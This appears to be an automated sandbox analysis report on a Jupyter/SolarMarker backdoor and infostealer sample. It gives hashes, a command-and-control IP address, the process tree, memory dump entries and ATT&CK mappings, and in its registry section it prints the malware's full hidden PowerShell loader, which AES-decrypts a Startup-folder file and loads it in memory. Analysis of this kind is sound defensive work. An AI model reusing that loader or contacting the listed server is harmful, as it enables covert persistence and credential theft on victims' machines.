jupyter | cd25e2f75f56b57a53700001ec1e368faa5b42b9db32ba4a8761317b5cfd6921

Resubmissions

13-06-2022 00:02

220613-abxf7sgfg4 10

16-05-2022 11:05

220516-m6vmbabeak 8

Analysis

max time kernel
228s
max time network
299s
platform
windows10_x64
resource
win10-20220414-en
submitted
13-06-2022 00:02

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General

Target

237270198970db6ed7e9e8c5bcc01127431da6ae5c71c01df958b8cc9292232e.exe
Size

278.0MB
MD5

f6a360ff5cc2fad625a18ab7064ea05d
SHA1

5002176424bbebae11e12e144d10ebe06719beae
SHA256

237270198970db6ed7e9e8c5bcc01127431da6ae5c71c01df958b8cc9292232e
SHA512

10e692fb6f2cc4ebcef2bf45418a72f8aabb1312e2ed8714dbc9d6d253b675fe5b589d1c6a2e91f6d85dc22115139209255bf14dc00fbfbf91072930ca780de8

Score

10^/10

jupyter backdoor stealer trojan

Malware Config

Extracted

Family

jupyter

http://146.70.81.82

Signatures

Jupyter, SolarMarker
Jupyter is a backdoor and infostealer first seen in mid 2020.
backdoor trojan stealer jupyter

Executes dropped EXE 1 IoCs

pid	Process
1364	AtavAc.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ENOAYFXsKZEuYt.xRcyiNZPXslgPikUoYbc	237270198970db6ed7e9e8c5bcc01127431da6ae5c71c01df958b8cc9292232e.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3297182285-798020602-2032295036-1000_Classes\pbumehcwcdgjqicijeffmbm\shell\open	237270198970db6ed7e9e8c5bcc01127431da6ae5c71c01df958b8cc9292232e.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3297182285-798020602-2032295036-1000_Classes\pbumehcwcdgjqicijeffmbm\shell\open\command\ = "powershell -windowstyle hidden -command \"$AC=New-Object System.Security.Cryptography.AesCryptoServiceProvider;$AC.Key=[Convert]::FromBase64String('U+D8HtF0w1kFYnWP7aXi50QDISoQw0lV8uQDHRAMo6Q=');$EB=[Convert]::FromBase64String([IO.File]::ReadAllText([System.Text.Encoding]::Utf8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxFTk9BWUZYc0taRXVZdC54UmN5aU5aUFhzbGdQaWtVb1liYw=='))));$AC.IV = $EB[0..15];$Decryptor=$AC.CreateDecryptor();$UB=$Decryptor.TransformFinalBlock($EB, 16, $EB.Length-16);$AC.Dispose();[Reflection.Assembly]::Load($UB);[xr2dOjsy2Kd_FRff7Tq5SqHXg6b_4ssWtFZuwrDLEcR2gqJdMDMyUz1tjevVYrP6JRLCrF4.hOboVLl_2rkzyvKjPRnpcuUxMUvEc2cxOA4fpHm_HqSHj8zfjPer5nfVz4eZL4OGKnH5BeSXtzDiWYk4zvQWB9_6uCTk_lc06wd]::uT0NxQlhBZcW5vL3WaJXNIy3_wDePSNPyzKZbIuNcSDH4zU8qYZhN8zGIBgaoyEisHKMg();\""	237270198970db6ed7e9e8c5bcc01127431da6ae5c71c01df958b8cc9292232e.exe
Key created	\REGISTRY\USER\S-1-5-21-3297182285-798020602-2032295036-1000_Classes\.xrcyinzpxslgpikuoybc	237270198970db6ed7e9e8c5bcc01127431da6ae5c71c01df958b8cc9292232e.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3297182285-798020602-2032295036-1000_Classes\.xrcyinzpxslgpikuoybc\ = "pbumehcwcdgjqicijeffmbm"	237270198970db6ed7e9e8c5bcc01127431da6ae5c71c01df958b8cc9292232e.exe
Key created	\REGISTRY\USER\S-1-5-21-3297182285-798020602-2032295036-1000_Classes\pbumehcwcdgjqicijeffmbm\shell\open\command	237270198970db6ed7e9e8c5bcc01127431da6ae5c71c01df958b8cc9292232e.exe
Key created	\REGISTRY\USER\S-1-5-21-3297182285-798020602-2032295036-1000_Classes\pbumehcwcdgjqicijeffmbm	237270198970db6ed7e9e8c5bcc01127431da6ae5c71c01df958b8cc9292232e.exe
Key created	\REGISTRY\USER\S-1-5-21-3297182285-798020602-2032295036-1000_Classes\pbumehcwcdgjqicijeffmbm\shell	237270198970db6ed7e9e8c5bcc01127431da6ae5c71c01df958b8cc9292232e.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1460	237270198970db6ed7e9e8c5bcc01127431da6ae5c71c01df958b8cc9292232e.exe
1460	237270198970db6ed7e9e8c5bcc01127431da6ae5c71c01df958b8cc9292232e.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1460	237270198970db6ed7e9e8c5bcc01127431da6ae5c71c01df958b8cc9292232e.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 1532 wrote to memory of 1364	1532	237270198970db6ed7e9e8c5bcc01127431da6ae5c71c01df958b8cc9292232e.exe	66
PID 1532 wrote to memory of 1364	1532	237270198970db6ed7e9e8c5bcc01127431da6ae5c71c01df958b8cc9292232e.exe	66
PID 1532 wrote to memory of 1364	1532	237270198970db6ed7e9e8c5bcc01127431da6ae5c71c01df958b8cc9292232e.exe	66
PID 1532 wrote to memory of 1460	1532	237270198970db6ed7e9e8c5bcc01127431da6ae5c71c01df958b8cc9292232e.exe	67
PID 1532 wrote to memory of 1460	1532	237270198970db6ed7e9e8c5bcc01127431da6ae5c71c01df958b8cc9292232e.exe	67

C:\Users\Admin\AppData\Local\Temp\237270198970db6ed7e9e8c5bcc01127431da6ae5c71c01df958b8cc9292232e.exe
"C:\Users\Admin\AppData\Local\Temp\237270198970db6ed7e9e8c5bcc01127431da6ae5c71c01df958b8cc9292232e.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1532
- C:\Users\Admin\AppData\Local\Temp\AtavAc.exe
  "C:\Users\Admin\AppData\Local\Temp\AtavAc.exe"
  2⤵
  - Executes dropped EXE
  PID:1364
- C:\Users\Admin\AppData\Local\Temp\237270198970db6ed7e9e8c5bcc01127431da6ae5c71c01df958b8cc9292232e.exe
  "C:\Users\Admin\AppData\Local\Temp\237270198970db6ed7e9e8c5bcc01127431da6ae5c71c01df958b8cc9292232e.exe" /s
  2⤵
  - Drops startup file
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1460

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\237270198970db6ed7e9e8c5bcc01127431da6ae5c71c01df958b8cc9292232e.exe.log

Filesize
425B

MD5
2ead231ce66abe78de975d1b05d590a4

SHA1
c269fde7c1d36005928089b0689cecd0a2bc1e1c

SHA256
71879c54d43afa910afbabfc59235151a78b42049f79f152773fbfca74b2f294

SHA512
038480a37fe4227fe04f7323fea842037df486901aab0529145046718ffb48c99e62107f534857ca0023dbb5b72be778bc4911ae2873c01ad826865c44537fdd

Download Submit
C:\Users\Admin\AppData\Local\Temp\AtavAc.exe

Filesize
997KB

MD5
dbc534854dd385e59a3f1906ddfb9020

SHA1
2b3062d82232ce10a8713829199769ff0d12e0fc

SHA256
06486febb76aaa7bf469ba1bf46a92c4eafc42a5626646184e8865c862d09dd0

SHA512
1506fbc8fca0a3ca06e24fdae2fb9e8cb345fd6197f5cbbaa990490cc20a25b72906ab9668725f29c0bfce6528bd7dca5dc15ca0ac3c0327d1876e58e3d47951

Download Submit
C:\Users\Admin\AppData\Local\Temp\AtavAc.exe

Filesize
997KB

MD5
dbc534854dd385e59a3f1906ddfb9020

SHA1
2b3062d82232ce10a8713829199769ff0d12e0fc

SHA256
06486febb76aaa7bf469ba1bf46a92c4eafc42a5626646184e8865c862d09dd0

SHA512
1506fbc8fca0a3ca06e24fdae2fb9e8cb345fd6197f5cbbaa990490cc20a25b72906ab9668725f29c0bfce6528bd7dca5dc15ca0ac3c0327d1876e58e3d47951

Download Submit
memory/1364-119-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-120-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-121-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-122-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-123-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-124-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-125-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-127-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-128-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-129-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-130-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-131-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-132-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-133-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-134-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-135-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-136-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-137-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-138-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-139-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-140-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-141-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-142-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-143-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-144-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-145-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-146-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-147-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-148-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-149-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-150-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-151-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-152-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-153-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-154-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-155-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-156-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-157-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-158-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-159-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-160-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-161-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-162-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-163-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-164-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-166-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-167-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1364-165-0x0000000077480000-0x000000007760E000-memory.dmp

Filesize
1.6MB

Download
memory/1460-168-0x0000018715580000-0x00000187155A2000-memory.dmp

Filesize
136KB

Download
memory/1460-169-0x000001872EC30000-0x000001872ECA6000-memory.dmp

Filesize
472KB

Download
memory/1460-170-0x000001872EDB0000-0x000001872EE6A000-memory.dmp

Filesize
744KB

Download
memory/1532-114-0x000001C6D1AA0000-0x000001C6D1CDE000-memory.dmp

Filesize
2.2MB

Download